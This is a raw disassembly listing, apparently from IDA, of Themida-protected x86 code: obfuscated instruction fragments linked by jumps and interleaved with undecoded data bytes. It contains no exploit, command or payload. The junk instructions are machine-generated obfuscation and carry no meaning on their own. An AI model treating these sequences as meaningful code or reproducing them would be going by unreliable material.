loc_55968A: ; CODE XREF: Themida_:005516E6j mov esi, 61BB5F95h jmp loc_560727 ; --------------------------------------------------------------------------- loc_559694: ; CODE XREF: Themida_:0055A121j xor ecx, 28104C1Bh sub ecx, 15872D03h dec ecx shr ecx, 1 add ecx, 9CFEB1FFh add edi, ecx pop ecx xchg edi, [esp] pop esp sub ebx, 25FC1189h add esi, ebx mov ebx, [esp] add esp, 4 sub esi, 4 jmp loc_559F94 ; --------------------------------------------------------------------------- db 0BFh, 1Ch, 79h dd 0A1687F5Fh, 89000068h, 0DDBA2414h, 815D2F19h, 376C99F2h dd 21F28129h, 816CA95Ah, 1C2h, 9FE1E900h, 5A540000h, 0FFCE5BE9h dd 4C481FFh, 0E9000000h, 0FFFF6112h, 4C481h, 0F8E90000h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55970F: ; CODE XREF: Themida_:00555B65j add esp, 4 push edx jmp loc_55DFCA ; --------------------------------------------------------------------------- db 28h dd 665966CAh, 8CEA8059h, 8904EC83h, 81B3241Ch, 9C0CE9h db 0 ; --------------------------------------------------------------------------- loc_559731: ; CODE XREF: Themida_:005597B5j not ebp sub ebp, 6AAA4265h shr ebp, 6 xor ebp, 6289066Eh add eax, ebp pop ebp push ebx mov ebx, 44F67D60h add ebx, 12874875h jmp loc_5601E9 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 9932E9h, 0E9D00000h, 4FFBh, 272EC681h, 0EE81683Bh dd 57D10562h, 0C681CE01h, 57D10562h, 5DEBB850h, 47250EEFh dd 0C1240E24h, 2E3508E0h, 81663F64h, 5A6EF2EEh, 50C6296Fh dd 5A6EF2B8h, 73AFE96Fh, 0E268FFFFh, 8900000Ah, 0A3E92424h db 63h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5597AF: ; CODE XREF: Themida_:0055729Ej push ebp mov ebp, 7AC24546h jmp loc_559731 ; --------------------------------------------------------------------------- dw 0C281h dd 5CA2307h, 0EA81FA29h, 5CA2307h, 6C31BE56h, 0E6C140B0h dd 9ED0E907h, 0C1580000h, 0BF5703EDh, 52431012h, 0A941E9h dd 24343100h, 0E9243433h, 0FFFF72B3h ; --------------------------------------------------------------------------- loc_5597F0: ; CODE XREF: Themida_:0055D4BCj add ecx, 4 xchg ecx, [esp] pop esp push edi push ebx mov ebx, 27731B42h mov edi, ebx pop ebx xor ebp, edi pop edi mov edi, [esp] add esp, 4 jmp loc_550D54 ; --------------------------------------------------------------------------- db 58h, 87h, 2Ch dd 3CD35C24h, 0F3E99C24h, 89FFFF5Fh, 0EC81242Ch, 4, 0BA241489h dd 14675774h, 47BCF281h, 0F281187Bh, 0C1C10CAh, 0D7E95D52h dd 81FFFF95h, 0F89652E9h, 9170E994h, 14B90000h, 4143B04Ch dd 4034C981h, 0E9815B06h, 0DD94E025h, 8359C821h, 9EE9FFC0h db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55986F: ; CODE XREF: Themida_:0055CD70j push esp jmp loc_557C90 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 7AC4h, 4EC8352h, 52240C89h, 212303BAh, 5B90B915h dd 0D1315CDCh, 7C28E95Ah, 77FF0000h, 0E9505138h, 0FFFFFB0Bh dd 24048F5Eh, 0FF24248Bh, 0C8B2434h, 90DDE924h, 0D9310000h dd 4304E9h db 0 ; --------------------------------------------------------------------------- loc_5598BD: ; CODE XREF: Themida_:00552A4Ej dec eax neg eax or eax, 62E207B3h jmp loc_55245E ; --------------------------------------------------------------------------- dw 2C68h dd 89000000h, 0C3E9243Ch db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5598D7: ; CODE XREF: Themida_:005588F2j pop eax add ecx, 44AF147Bh or edi, ecx mov ecx, [esp] push esi jmp loc_557011 ; --------------------------------------------------------------------------- db 47h, 0F7h, 0DFh aGswz db 'Gw',0 align 2 dw 0E953h dd 1FA6h ; --------------------------------------------------------------------------- loc_5598F8: ; CODE XREF: Themida_:00552DCAj mov [esp], edi mov edi, 0E71214h add [esp+4], edi push dword ptr [esp] jmp loc_556290 ; --------------------------------------------------------------------------- dd 0B7241C89h, 7EFC0BAh, 0D7F6DFF6h, 0C7FEC7FEh, 8EF80h dd 0E5C05BFDh, 0B8C58004h, 8059EF08h, 0EC2C89C7h, 0FFEA85E9h dd 0B3EA81FFh, 5108B50Bh, 89D08950h, 7760E9C1h, 0C1810000h dd 4, 0E9240C87h, 0FFFFB96Dh ; --------------------------------------------------------------------------- loc_559954: ; CODE XREF: Themida_:0055A486j push esp pop ebp add ebp, 4 add ebp, 4 push 27ACh mov [esp], ebp push dword ptr [esp+4] jmp loc_553F5E ; --------------------------------------------------------------------------- dd 2E9E929h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559977: ; CODE XREF: Themida_:00558EB8j xor [esp], ecx jmp loc_55B0F0 ; --------------------------------------------------------------------------- db 40h dd 0B6A3A92Dh, 7075E9DBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55998A: ; CODE XREF: Themida_:00550057j push 6420C87h pop ebx shr ebx, 3 xchg eax, ebx not eax xchg eax, ebx or ebx, 0F0826E3h jmp loc_55FE98 ; --------------------------------------------------------------------------- dw 348Bh dd 4C48324h, 5C24048Fh, 0E92424D3h, 0FFFF5E62h, 8B241C87h dd 1C892424h, 1BC3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5599C2: ; CODE XREF: Themida_:0055E8B5j sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi mov edi, esp push ebx mov ebx, 4 add edi, ebx pop ebx add edi, 4 xchg edi, [esp] pop esp shl eax, cl push edi mov edi, esp add edi, 4 jmp loc_553771 ; --------------------------------------------------------------------------- loc_5599EE: ; CODE XREF: Themida_:00564798j pop eax push 7796h mov [esp], ecx push eax mov eax, 2E87131Ah and eax, 377A66DBh inc eax shl eax, 3 sub esp, 4 jmp loc_56207B ; --------------------------------------------------------------------------- db 0BBh, 24h, 0 dd 0E9570000h, 0FFFFB120h ; --------------------------------------------------------------------------- loc_559A1C: ; CODE XREF: Themida_:00559D50j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_55AD4F ; --------------------------------------------------------------------------- dw 0BA52h dd 4, 895AD589h, 0C630E9EAh, 0C701FFFFh, 5FFA8958h, 34FFD001h dd 0E9505A24h, 27AFh, 805AD528h, 0EB28E0EDh, 592434FFh dd 81E28952h, 4C2h, 4C28300h, 8917E9h db 0 ; --------------------------------------------------------------------------- loc_559A79: ; CODE XREF: Themida_:0055AE91j push edx mov edx, 31A2F99h jmp loc_55DFF4 ; --------------------------------------------------------------------------- dd 35B5BB53h, 72E96D8Ch db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559A8F: ; CODE XREF: Themida_:00554486j push esi mov esi, esp add esi, 4 sub esi, 4 push esi jmp loc_562767 ; --------------------------------------------------------------------------- loc_559AA1: ; CODE XREF: Themida_:00562CCCj pop edi xor edi, 4C6C6DDEh xor edi, 0CD721343h sub eax, 315043C2h jmp loc_55B57B ; --------------------------------------------------------------------------- dd 5866C530h, 8B59EB28h, 0C4812414h, 4, 0E9C0B60Fh, 230Eh dd 0F74FDFF7h, 31E952D7h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559ADB: ; CODE XREF: Themida_:005523E7j push ebx mov ebx, 18671996h jmp loc_55FED4 ; --------------------------------------------------------------------------- dw 0E1F7h dd 8904EC83h, 5954240Ch, 4EC81h, 3C890000h, 40446824h dd 0C890000h, 105CE924h, 0AB680000h, 8900001Dh, 4BA2414h dd 0E9000000h, 1F9h ; --------------------------------------------------------------------------- loc_559B18: ; CODE XREF: Themida_:005575F7j sub ebp, 53CDB4F2h add ebx, ebp pop ebp sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax mov eax, 51278D1h and ecx, eax mov eax, [esp] add esp, 4 jmp loc_554620 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 4C4815Ch, 0E9000000h, 0A29Dh, 0E920A705h, 35E8D106h dd 65116CD8h, 0FF782CE9h, 4C783FFh, 5C243C87h, 0C8BC830h dd 0D176E924h, 48BFFFFh, 4C48324h, 8B66E800h, 8951240Ch dd 4C181E1h, 83000000h, 0C8702C1h, 0D7E95C24h, 8B00003Ch dd 0C892424h, 0AA2FE924h, 0C7810000h, 79A979AEh, 4BA5259h dd 1000000h, 0FF575AD7h, 5F042474h, 0E924048Fh, 1C16h ; --------------------------------------------------------------------------- loc_559BB8: ; CODE XREF: Themida_:00555FB6j movzx ax, byte ptr [eax] push small 5738h mov [esp], ax jmp loc_54F816 ; --------------------------------------------------------------------------- loc_559BC9: ; CODE XREF: Themida_:0056063Bj sub ebx, 57F83866h and ebx, 6BEA26C8h inc ebx sub ebx, 20C5C7A0h add esi, ebx jmp loc_555B6A ; --------------------------------------------------------------------------- loc_559BE3: ; CODE XREF: Themida_:0055E056j or ecx, 6FD23CA5h push ebp mov ebp, 3EF60552h shr ebp, 8 xor ebp, 76321ED8h shr ebp, 5 add ebp, 31C1F79Ch sub ecx, ebp jmp loc_54FBE2 ; --------------------------------------------------------------------------- dd 8324048Bh, 3DE904C4h, 0D00003Eh, 317E493Bh, 1753E940h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559C1E: ; CODE XREF: Themida_:00558F59j add esp, 4 not ch sub ch, 1 sub ch, 0F0h jmp loc_564A83 ; --------------------------------------------------------------------------- loc_559C31: ; CODE XREF: Themida_:0055B5E3j mov ebp, 66F033BFh shr ebp, 1 sub ebp, 7A067FE8h push esi push ebx jmp loc_5636DE ; --------------------------------------------------------------------------- db 81h, 0F2h, 0A7h dd 121FB41h, 9125E9D6h, 89560000h, 4C681E6h, 81000000h dd 4EEh, 24343300h, 33243431h, 22E92434h, 81FFFF99h, 6B6015F5h dd 4E5C143h, 152E956h, 8B660000h, 568240Ch, 89000048h dd 0FF54240Ch, 0E9592434h, 6505h, 0C181C101h, 51BD04FFh dd 224EE958h, 0CAFE0000h, 1BEDE953h, 8B660000h, 0EC83240Ch dd 24348904h, 0B850E689h, 4, 0A636E9h, 81505700h, 4ECh dd 243C8900h, 1372E9h, 0C0CF8100h, 0E905E91Ah, 0FFFFF118h dd 0C12AC381h, 0E381E16Bh, 2C6D29F4h, 9D03E956h, 0E95A0000h dd 76D9h ; --------------------------------------------------------------------------- loc_559CF4: ; CODE XREF: Themida_:0055A81Dj mov ebp, 407C1935h sub dword ptr [esp+4], 0A9B2563h sub [esp+4], ebp jmp loc_5523A4 ; --------------------------------------------------------------------------- a1S_0 db '1',0Ah db '',0 dd 7E676800h, 34890000h, 7084E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559D1E: ; CODE XREF: Themida_:0056383Cj add ebp, 4 push edx mov edx, 4 add ebp, edx mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xchg ebp, [esp] pop esp sub [esp+4], ebp push dword ptr [esp] mov ebp, [esp] push ebx push esp pop ebx jmp loc_559A1C ; --------------------------------------------------------------------------- db 29h, 0C8h, 8Bh dd 0C481240Ch, 4, 5C240487h, 0E9241C89h, 0FFFFE972h ; --------------------------------------------------------------------------- loc_559D6C: ; CODE XREF: Themida_:00563946j sub ebx, eax pop eax sub esi, 7FE55CD5h sub esi, ebx add esi, 7FE55CD5h pop ebx jmp loc_5584DD ; --------------------------------------------------------------------------- db 8Bh dd 89572424h, 0F1E953E7h, 5600005Ah, 0D4258C68h, 7F0EE937h dd 0BE560000h, 4, 4247401h, 614EE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_559DAA: ; CODE XREF: Themida_:0055D388j sub esp, 4 mov [esp], ebx push 3B79h push esp jmp loc_55EA90 ; --------------------------------------------------------------------------- db 0C1h dd 0F74608E6h, 6452E9D6h, 0D6F7FFFFh, 0E902EEC1h, 0FFFF92B7h dd 311EC2BEh, 4E6C11Bh, 0B833F681h, 0F5318881h, 0E924348Bh dd 0A4DDh, 3651BE56h, 0F6813D87h, 62461298h, 0FF6A5EE9h dd 4C483FFh, 5D5C842Dh, 57F80120h, 34A9E951h, 0C4830000h dd 7DE95804h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559E13: ; CODE XREF: Themida_:0055B98Fj sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_56159A ; --------------------------------------------------------------------------- dw 0D801h dd 4BA525Bh, 1000000h, 4875AD0h, 24248B24h, 2474FF56h dd 24348B04h, 53E18951h, 4BE56h, 0F3890000h, 0C6CBE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559E4E: ; CODE XREF: Themida_:005531D0j xor ecx, 11045600h jmp loc_55D186 ; --------------------------------------------------------------------------- loc_559E59: ; CODE XREF: Themida_:0055E985j push 3DBC2FDFh pop eax and eax, 5C8469B1h jmp loc_55E557 ; --------------------------------------------------------------------------- db 0BAh, 9Bh, 36h dd 0E94A37E2h, 0FFFF9342h ; --------------------------------------------------------------------------- loc_559E74: ; CODE XREF: Themida_:00555C30j mov [esp], ax jmp loc_54F816 ; --------------------------------------------------------------------------- db 89h, 0E0h, 5 dd 4, 0FFE6C8E9h, 0E95046FFh, 0FFFFD603h, 0B171E95Eh, 0C368FFFFh dd 89000061h, 39B82404h, 94CF106h, 0CD8158C5h, 44BF7F3Bh dd 248BB951h, 0CD29080Eh, 8BE83159h db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5534B7 ; --------------------------------------------------------------------------- dw 1C33h aSj db '$j/',0 align 2 dw 7968h dd 5F4F5974h, 8305EFC1h, 0EF83FFEFh, 0FDF78101h, 892CEFA1h dd 2B85E9F8h, 10680000h, 0E9000042h, 0FFFF68CAh, 0EF80E728h dd 0F830581Bh, 241C8B66h, 0E904EC83h, 0FFFF818Fh, 31243433h dd 34332434h, 118CE924h, 4200000h, 0FBE99C24h db 58h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559F1B: ; CODE XREF: Themida_:005619ECj add esp, 4 or eax, eax jmp loc_55439E ; --------------------------------------------------------------------------- loc_559F25: ; CODE XREF: Themida_:005521B7j push ax push edx jmp loc_563059 ; --------------------------------------------------------------------------- db 1, 0D3h, 0E9h dd 0FFFF8987h ; --------------------------------------------------------------------------- loc_559F34: ; CODE XREF: Themida_:00554ADBj add ebx, ecx push ecx jmp loc_55944D ; --------------------------------------------------------------------------- loc_559F3C: ; CODE XREF: Themida_:00556D8Ej push 3EF0h mov [esp], edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi add edi, 4 push ebp mov ebp, 561F5B81h jmp loc_560A2D ; --------------------------------------------------------------------------- dd 0FDCEA81h, 0E2C13340h, 1EE95005h, 66000034h, 8324048Bh dd 0C1E904ECh, 5B00001Dh, 0DA90EE81h, 0F1318A6Ah, 464DE95Eh dd 0F8310000h, 0E945955Fh, 0FFFF8311h ; --------------------------------------------------------------------------- loc_559F94: ; CODE XREF: Themida_:005596C4j sub esp, 4 mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_553B15 ; --------------------------------------------------------------------------- loc_559FA7: ; CODE XREF: Themida_:0055D44Bj pop esp mov [esp], esi mov esi, 2E5A1AF2h shl esi, 3 jmp loc_562E21 ; --------------------------------------------------------------------------- loc_559FB8: ; CODE XREF: Themida_:005539CEj add eax, 2D5A491Bh jmp loc_5523D3 ; --------------------------------------------------------------------------- dw 4BFh dd 81000000h, 1F4061EAh, 55FA0119h, 31E28BDh, 0EAF58159h dd 0E930F853h, 0A3BAh ; --------------------------------------------------------------------------- loc_559FE0: ; CODE XREF: Themida_:00552622j pop esp pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push ebp push ecx jmp loc_55E7EE ; --------------------------------------------------------------------------- dw 0BBBh dd 43372E50h, 0EBC1DBF7h, 18F38108h, 810CF01Fh, 13B188F3h dd 5BDF29E7h, 0CD81E957h, 8B66FFFFh, 7368241Ch, 8900007Eh dd 0E2892414h, 4C281h, 0C2810000h, 2, 8B241487h, 1C302424h dd 241C3224h, 0E9241C30h, 0FFFF57D6h, 895DEF89h, 9CE95FFAh dd 89FFFF77h, 2CBD242Ch, 56773E41h, 5CFDE9h, 39CA8100h dd 0C1675E45h, 0EA8103E2h, 3F496339h, 0F281D2F7h, 59760E31h dd 63E2CA81h, 0EAC1652Fh, 79F28104h, 81399D82h, 586250C6h dd 81D60160h, 586250EEh, 24148B60h, 4C481h, 0C6010000h dd 3D7E68h, 242C8900h, 8904EC83h, 168241Ch, 5B03C328h dd 0FF63B5E9h, 71B652FFh, 1801E9h, 4EC8100h, 89000000h dd 6DB9240Ch, 813D4378h, 0C00031F1h, 4EC8134h, 89000000h dd 2C83240Ch, 81590124h, 820E94F1h, 0CBE98108h, 0E9010176h dd 0FFFFAD86h, 83242C8Bh, 0EA8104C4h, 0C7554606h, 815AD321h dd 0E94D5DF3h, 5BDA0929h, 242C8352h, 685FE9FFh, 68560000h dd 35E36C4Fh, 9502E9h db 0 ; --------------------------------------------------------------------------- loc_55A119: ; CODE XREF: Themida_:0055CD32j mov ecx, 7CE66145h shl ecx, 2 jmp loc_559694 ; --------------------------------------------------------------------------- loc_55A126: ; CODE XREF: Themida_:0054FD0Aj mov [esp], ebx push 7004h mov [esp], esi push ecx mov ecx, 3D740E0Fh jmp loc_562872 ; --------------------------------------------------------------------------- loc_55A13C: ; CODE XREF: Themida_:005550B3j pop ecx push eax mov eax, 2F50072Eh sub ebp, eax jmp loc_553540 ; --------------------------------------------------------------------------- loc_55A14A: ; CODE XREF: Themida_:0055570Fj mov [esp], edx mov edx, esp jmp loc_55D91F ; --------------------------------------------------------------------------- loc_55A154: ; CODE XREF: Themida_:00558653j sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ebp push esp pop ebp add ebp, 4 jmp loc_55F49A ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 515F25BEh, 8EEC101h, 0FFCEF4E9h, 241433FFh, 6F06E9h dd 4C48100h, 0F7000000h, 0DBDFE9D5h, 0F281FFFFh, 58FB58E3h dd 7C8EC181h, 0D1011E77h, 80B95156h, 0F753805Bh, 0CFE181D1h dd 816F2D36h, 0C2AF9BE9h, 0E9CE89E0h, 6A4Eh ; --------------------------------------------------------------------------- loc_55A1BC: ; CODE XREF: Themida_:00556C44j pop edx sub esp, 4 mov [esp], edi jmp loc_5625D3 ; --------------------------------------------------------------------------- loc_55A1CB: ; CODE XREF: Themida_:00560BC4j shr al, 2 inc al shr al, 5 xchg cl, al not cl xchg cl, al xor al, 0C5h mov ch, al mov eax, [esp] add esp, 4 add al, 0F2h jmp loc_56448A ; --------------------------------------------------------------------------- dw 3C89h dd 2F466824h, 0C15F2C58h, 15E905E7h, 8BFFFFD9h, 0C4832434h dd 4CBD5504h, 450E7F54h, 0CD81EDD1h, 66233AA3h, 0C581D5F7h dd 5651D6ACh, 0E95DE829h, 861Ah, 8904EC83h, 4832424h, 815E0424h dd 4C6h, 0BE565500h, 57240465h, 0C108E6C1h, 0D6F708E6h dd 0FF7AF7E9h, 24148BFFh, 4C481h, 6C010000h, 6C810424h dd 3B640424h, 54E92310h, 0B7FFFF70h, 0E9F828ADh, 0FFFF975Ah dd 0F9E9D1F7h, 0B800002Eh, 3F354993h, 2958C289h, 0C1815AD1h dd 51730775h, 14E9D101h, 0FFFFFFE9h, 0C8B2434h, 4C48324h dd 79D668h, 24348900h, 13FC68h, 0A2CE900h, 0E0890000h dd 0FF74A0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A2A9: ; CODE XREF: Themida_:00558037j push esi mov esi, 63F31104h shr esi, 8 jmp loc_55B6A1 ; --------------------------------------------------------------------------- loc_55A2B7: ; CODE XREF: Themida_:005568EBj sub edx, 0A4F6580Dh sub ebp, edx jmp loc_55D149 ; --------------------------------------------------------------------------- loc_55A2C4: ; CODE XREF: Themida_:0055E441j push 3DA7h mov [esp], ecx jmp loc_556336 ; --------------------------------------------------------------------------- db 0C1h, 0EBh, 7 dd 15B2EB81h, 29E95DFAh db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, esp push ecx jmp loc_556C1E ; --------------------------------------------------------------------------- db 55h dd 64436853h, 0C15B0CCDh, 0F38108E3h, 9469095Eh, 25E9DD89h dd 83FFFFA0h, 1C8904ECh, 5D8FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A30E: ; CODE XREF: Themida_:005612ADj push 5D33h mov [esp], esi mov esi, 31CD4087h push ecx mov ecx, esi jmp loc_559404 ; --------------------------------------------------------------------------- db 57h dd 4BA52h, 15E90000h, 0BAFFFFADh, 32882F54h, 0C102EAC1h dd 0D2F703EAh, 220BE9h db 0 ; --------------------------------------------------------------------------- loc_55A341: ; CODE XREF: Themida_:00554895j mov edi, 3F2E7BC1h or eax, edi pop edi xor eax, 3F7E7BEFh add ebp, eax mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] movsx cx, al push small 62B1h mov [esp], cx jmp loc_54F816 ; --------------------------------------------------------------------------- dd 0E904C483h, 62E8h, 405h, 4E88300h, 5C240487h, 4E25E9h dd 0EE815B00h, 432E1DE6h, 0FF5A29E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A3A5: ; CODE XREF: Themida_:00561AC2j push edi push ebp pop edi mov ebp, [esp] add esp, 4 add edi, 5DC5C4Dh jmp loc_55C563 ; --------------------------------------------------------------------------- dd 0E95DEA01h, 0FFFFD051h, 53E9E589h, 81000049h, 0C629BEEh dd 0B7C68143h, 595F8D00h, 6C47E9h, 0E8295900h, 56A9055Dh dd 0FFE90D7Fh db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A3EB: ; CODE XREF: Themida_:00558F47j push esi jmp loc_5601DB ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FF541DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55A3F9: ; CODE XREF: Themida_:0055DE29j mov eax, [esp] add esp, 4 jmp loc_562E4A ; --------------------------------------------------------------------------- dd 38D7EF81h, 2C8B760Ch, 1FDBE924h, 0D15A0000h, 0B5E981E1h dd 8106EF0Dh, 0FC0514E1h, 5FD2E955h, 0E9520000h, 0FFFFEF1Bh dd 0D828D704h, 2EC81h, 89660000h, 5AE9241Ch, 89FFFFCFh dd 4C181E1h, 81000000h, 4ECh, 24148900h, 4BAh, 0C4E98100h dd 163CD56h, 9001E9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A462: ; CODE XREF: Themida_:0055D1E2j shl edx, 3 push edi mov edi, 0C3DD3EE6h xor edx, edi pop edi add edi, edx pop edx push edx sub esp, 4 mov [esp], edi add dword ptr [esp], 36320A9h mov edx, [esp] push ebp jmp loc_559954 ; --------------------------------------------------------------------------- loc_55A48B: ; CODE XREF: Themida_:0055058Bj shr eax, 0Eh xor eax, ecx push 3B62h mov [esp], eax push 577h jmp loc_5511F3 ; --------------------------------------------------------------------------- dw 2C89h dd 815D5424h, 4C5h, 637F6800h, 34890000h, 4BE24h, 0F5010000h dd 242C335Eh, 5291E9h, 534CE900h, 0BD55FFFFh, 5A50A37h dd 310FB951h, 8141311Dh, 952461E9h, 50D1F70Dh, 1401E9h dd 59545100h, 4EF768h, 24148900h, 0FFACC5E9h, 5BF281FFh dd 2957506Dh, 0F9895AD7h, 0A9EDE9h, 5E8C100h, 781FC735h dd 8BC18903h, 0C4812404h, 4, 4EC81h, 4890000h, 79CBB824h dd 0F62D5DE4h, 0E97B3675h, 64DAh ; --------------------------------------------------------------------------- loc_55A530: ; CODE XREF: Themida_:005589CDj pop ebx add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp shr esi, 4 jmp loc_5565A9 ; --------------------------------------------------------------------------- dd 0E95085B7h, 0FFFF5F33h, 0FF52BDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55A559: ; CODE XREF: Themida_:0055871Aj add ebp, 4 add ebp, 4 jmp loc_564A1A ; --------------------------------------------------------------------------- loc_55A56A: ; CODE XREF: Themida_:00557451j pop edi add esp, 4 mov edx, [esp] add esp, 4 jmp loc_5546A7 ; --------------------------------------------------------------------------- dd 41C2814Ah, 89D1CBADh, 58515AD1h, 55E82959h, 0FFC0A9E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A591: ; CODE XREF: Themida_:00550C8Ej mov ebx, 4 add ebp, ebx pop ebx xchg ebp, [esp] pop esp push small 35F8h mov [esp], bp mov bp, 778Dh jmp loc_564FB3 ; --------------------------------------------------------------------------- loc_55A5AE: ; CODE XREF: Themida_:0056448Cj sub al, 0F2h pop ecx push small 27DDh jmp loc_55C078 ; --------------------------------------------------------------------------- loc_55A5BA: ; CODE XREF: Themida_:00563F71j dec edx xor edx, 855D28DDh jmp loc_55F8E0 ; --------------------------------------------------------------------------- dw 0EC83h dd 24048904h, 53E9B1B0h, 5CFFFFFEh, 0D7E9F030h, 0F7FFFFCAh dd 0E2C142D2h, 0A4E95706h db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A5E7: ; CODE XREF: Themida_:0055A6ADj sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi mov esi, 94F2BB1h push esi xchg esi, [esp] not esi jmp loc_55B677 ; --------------------------------------------------------------------------- loc_55A604: ; CODE XREF: Themida_:00555F70j add esp, 2 sub bl, 58h push eax mov al, 4 and al, 62h not al shr al, 7 dec al xor al, 5Ah sub bl, al pop eax add bl, al push 4595h mov [esp], ecx mov cl, 37h push ebx mov bl, 38h inc bl jmp loc_563689 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aH7 db '$h7',0 align 2 dw 1C89h dd 815B5424h, 4ECh, 240C8900h, 4B9h, 8BCB0100h, 0DBE9240Ch dd 89FFFFE3h, 0E6892434h, 1F9468h, 7ECCE900h, 34FFFFFFh dd 2434FF24h, 4C48358h, 0FFDBD4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A675: ; CODE XREF: Themida_:005615A5j mov eax, [esp] push 1945h mov [esp], ebx mov ebx, esp jmp loc_55D17B ; --------------------------------------------------------------------------- db 89h dd 3EE9241Ch, 81FFFFEEh, 597B8CC1h, 0C1815B73h, 3CC81C1Fh dd 0B4E9D101h, 89FFFF87h, 0E950241Ch, 0FFFF6BB1h ; --------------------------------------------------------------------------- loc_55A6AC: ; CODE XREF: Themida_:005569DFj pop esi jmp loc_55A5E7 ; --------------------------------------------------------------------------- dw 0C581h dd 0F1A7D130h, 15DE831h, 3C8758C7h, 24248B24h, 2118E9h dd 0E9CAB000h, 0FFFF5A3Eh, 4047EA81h, 0E95D2D3Eh, 0FFFF513Ah dd 0FF241489h, 8B042474h, 89562414h, 21B951E6h, 4151ED19h dd 0B6F18141h, 4129F26Bh, 8C85E9h, 81685D00h, 89000061h dd 5CBA2414h, 811FAA49h, 0CE50DEEAh, 6EAC15Ah, 0FF7238E9h dd 0E9515BFFh, 0FFFFBA94h, 6EBF5755h, 0F715DE06h, 8362E9DFh dd 0CB810000h, 3161206Bh, 37EFF381h, 0CEE977F1h, 29000010h dd 815E5FFAh, 4814DFC2h, 81CA2913h, 4814DFEAh, 59C28113h dd 5961D238h, 64D5C281h, 0C2017F72h, 4EC8150h, 89000000h dd 73E9240Ch, 56FFFF52h, 4EC81h, 24890000h, 24048324h dd 0C6815E04h, 4, 55E78957h, 4BDh, 0B3C78100h, 1269460h dd 0B3EF81EFh, 5D269460h, 6F31E9h, 43E3D100h, 1650C381h dd 0E94B3C6Bh, 0FFFF84CAh ; --------------------------------------------------------------------------- loc_55A7B0: ; CODE XREF: Themida_:00563C0Fj shl esi, 5 inc esi push edi mov edi, 10500205h jmp loc_553B3C ; --------------------------------------------------------------------------- loc_55A7BF: ; CODE XREF: Themida_:0055536Fj mov al, cl pop ecx push ecx mov ch, al mov bl, ch jmp loc_55E713 ; --------------------------------------------------------------------------- loc_55A7CC: ; CODE XREF: Themida_:0055DC63j push esi push dword ptr [esp] jmp loc_55793C ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 87000000h, 8F5C243Ch, 248B2404h, 23016824h, 4890000h dd 5024E924h, 6859FFFFh, 4BB6h, 5AE4E9h db 0 ; --------------------------------------------------------------------------- loc_55A7FD: ; CODE XREF: Themida_:0055DB41j add edi, 0C2B8FB81h and ecx, edi mov edi, [esp] add esp, 4 shr ecx, 0Bh sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], ebp jmp loc_559CF4 ; --------------------------------------------------------------------------- dw 1489h dd 4EC8324h, 0FF8CA7E9h, 88C288FFh, 48B5AD1h, 4C48124h dd 5A000000h, 0E97CB652h, 487Fh, 57243489h, 0E924348Bh dd 0A19Ah, 0D15BDE89h, 4FFE87E6h, 0E904EC83h, 0FFFFFFE4h dd 4C281h, 0C2810000h, 4, 5C241487h, 698FF181h, 0CE01E3B9h dd 0FFBF89E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A87D: ; CODE XREF: Themida_:00555EC3j mov esp, [esp] sub esp, 4 mov [esp], ecx push edi push 6225500Ch pop edi push edx mov edx, 0FFD5014h push ebx mov ebx, 0AE7035DEh sub edx, ebx pop ebx jmp loc_556EA8 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 34B368h, 24348900h, 81E78957h, 4C7h, 4EF8300h, 58B5E9h dd 0EDEA8100h, 294DFF75h, 0ED815AD5h, 0E3B45C2h, 3809C581h dd 0ED81687Ch, 79107E72h, 2D5DE829h, 68993DBEh, 